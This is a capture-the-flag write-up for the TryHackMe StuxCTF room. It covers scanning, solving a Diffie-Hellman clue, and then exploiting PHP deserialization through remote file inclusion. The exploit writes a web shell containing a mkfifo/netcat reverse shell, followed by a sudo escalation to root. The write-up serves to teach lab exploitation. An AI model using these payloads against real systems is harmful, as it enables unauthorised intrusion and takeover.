TryHackMe: StuxCTF by stuxnet

Read user.txt and root.txt


Let's add to /etc/hosts/ and run our usual rustscan

╰─⠠⠵ rustscan -a stuxctf --ulimit 10000 -- -sC -sV -oA stuxctf -A 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( ) at 2021-04-04 00:22 BST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Initiating Ping Scan at 00:22
Scanning [2 ports]
Completed Ping Scan at 00:22, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 00:22
Scanning stuxctf ( [2 ports]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Completed Connect Scan at 00:22, 0.04s elapsed (2 total ports)
Initiating Service scan at 00:22
Scanning 2 services on stuxctf (
Completed Service scan at 00:22, 6.11s elapsed (2 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 1.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Nmap scan report for stuxctf (
Host is up, received syn-ack (0.035s latency).
Scanned at 2021-04-04 00:22:51 BST for 7s

22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e8:da:b7:0d:a7:a1:cc:8e:ac:4b:19:6d:25:2b:3e:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
|   256 c1:0c:5a:db:6c:d6:a3:15:96:85:21:e9:48:65:28:42 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
|   256 0f:1a:6a:d1:bb:cb:a6:3e:bd:8f:99:8d:da:2f:30:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Default Page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:22
Completed NSE at 00:22, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds


No credentials so let's move on ....


Simple page but we have some html comments

		<title>Default Page</title>
		<!-- The secret directory is...
		p: 99752986619300850860197084028704021911141717[REDACTED]60469454315876556947370642[REDACTED]24506376929926694545081888689821796050434591251;
		g: 7;
		a: 330;
		b: 450;
		g^c: 60919178008335987415309240817622254774182770101420226227316881582977596213294[REDACTED]8549791707898878144888994707435069422020976[REDACTED]705739528359582454617;
		is blank....

If we look at /robots.txt we see a another directory

# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: /StuxCTF/

Browsing to /StuxCTF/ we get a 404....

Let's give gobuster a try ....

What is the hidden directory?

What is the hidden directory?

HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p

first 128 characters ...

Whilst waiting for gobuster to complete let's take a look at the The secret directory is ....

g: 7;

Not sure what this is but the robots.txt drops a hint of Diffie-Hellman. Looking around I find and end up with the below



gca = (gc**a) % p
gcab = (gca**b) % p


The output of this is the secret directory.


Browsing to our hidden directory ...

<!DOCTYPE html>
	<meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
        <link rel="stylesheet" href="assets/css/style.css" />
        <nav class="navbar navbar-default navbar-fixed-top">
          <div class="container">
            <div class="navbar-header">
              <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                <span class="sr-only">Toggle navigation</span>
              <a class="navbar-brand" href="index.php">Home</a>
        <!-- hint: /?file= -->
        <div class="container">
            <div class="jumbotron">
					<h1>Follow the white rabbit..</h1>
        <script src="assets/js/jquery-1.11.3.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>

Hmm....<!-- hint: /?file= --> sounds like an lfi... trying our usual lfi test via /etc/passwd does not seem to work. Trying wfuzz does not bring back anything useful either.

╰─⠠⠵ wfuzz -z file,/opt/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 31 http://stuxctf.local/[REDACTED]\?file\=FUZZ
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/ Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/ Exception, msg=No module named 'shodan'
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://stuxctf.local/[REDACTED]?file=FUZZ
Total requests: 9513

ID           Response   Lines    Word     Chars       Payload                                                                                                   

Total time: 37.47722
Processed Requests: 9513
Filtered Requests: 9513
Requests/sec.: 253.8341

Lets try gobuster

╰─⠠⠵ gobuster dir -u http://stuxctf.local/[REDACTED] -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,html,php,htm,gz,tar.gz,zip,db
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://stuxctf.local/[REDACTED]
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              htm,gz,tar.gz,zip,db,txt,html,php
[+] Timeout:                 10s
2021/04/04 00:51:26 Starting gobuster in directory enumeration mode
/index.php            (Status: 200) [Size: 1168]
/assets               (Status: 301) [Size: 444] [--> http://stuxctf.local/[REDACTED]assets/]

Looking under assets we have js which includes app.js

function senddata() {
	var search = $("#search").val();
	var replace = $("#replace").val();
	var content = $("#content").val();

	if(search == "" || replace == "" || content == "") {
		$("#output").text("No input given!");
		url: "ajax.php",
		data: {
		method: 'post'
	}).success(function(data) {
	}).fail(function(data) {
		$("#output").text("OOps, something went wrong...\n"+data)
	return false;

This leads us to ajax.php.... Looking around I can not find it but after trying /index.php?file=ajax.php we get some output...

Trying a few different things I decide to try index.php to see if I can find anything useful.

This returns a longs string across the page, it appears to be hex throwing this into [cyberchef]( we get what looks like a reverse base64` string

Reversing this string and base64 decoding we get the webpage source code.

Looking at the source code we get the below interesting bits

error_reporting(0);<br />
class file {<br />
        public $file = "dump.txt";<br />
        public $data = "dump test";<br />
        function __destruct(){<br />
                file_put_contents($this->file, $this->data);<br />
        }<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
        echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
        $content = file_get_contents($file_name);<br />
        $tags = array("", "");<br />
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />

So from the above we need to serialise the below

type name explanation
class file what we want to serialise
variable $file file we want to create
variable %data contents of the file

In my case

name value note
class name file name of the class we are abusing
$file assets/shell.php we can list assets so can see if our file gets created or not
$data <?php echo exec('reverse shell') ?> Our reverse shell

To get the needed output I use the below php

class file 

	public $file = 'assets/shell.php';
	public $data = "<?php echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f') ?>";

$serial = serialize(new file);
print $serial;

I then run it using php serial.php which outputs O:4:"file":2:{s:4:"file";s:16:"assets/shell.php";s:4:"data";s:100:"<?php echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f') ?>";} . I trying using this ?file but it does not work.

So re-reading the above code I notice the line is


This means it reads the contents of a file and deserializes it.... so lets change tact and try to load the file from our local machine

# redirect the output into a file
╰─⠠⠵ php serial.php > shell.txt
# start out webserver
╰─⠠⠵ python3 -m http.server 8888

In our browser we now use ?file=http://OURIP:8888/shell.txt which makes a call back to us.

╰─⠠⠵ python3 -m http.server 8888
Serving HTTP on port 8888 ( ... - - [04/Apr/2021 01:29:29] "GET /shell.txt HTTP/1.0" 200 -

If we know start our listener and then browse to shell.php we get a call back...

╰─⠠⠵ nc -lvnp 4444
Listening on 4444
Connection received on 44754
/bin/sh: 0: can't access tty; job control turned off
$ find /home
find: '/home/grecia/.cache': Permission denied
$ cat /home/grecia/user.txt


Now we have the user flag we need to look for privesc to get root.txt. Let's start by stabilizing our shell.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/home/grecia$ export TERM=xterm
export TERM=xterm
www-data@ubuntu:/home/grecia$ ^Z
[1]  + 32162 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg

[1]  + 32162 continued  nc -lvnp 4444


Now let's check sudo -l

www-data@ubuntu:/home/grecia$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,

User www-data may run the following commands on ubuntu:

Great!!!! we can run sudo with no password and any command...

www-data@ubuntu:/home/grecia$ sudo cat /root/root.txt

A simple sudo cat gives us our root flag.


Interesting room, learned a bit about Diffie-Hellman and php serialization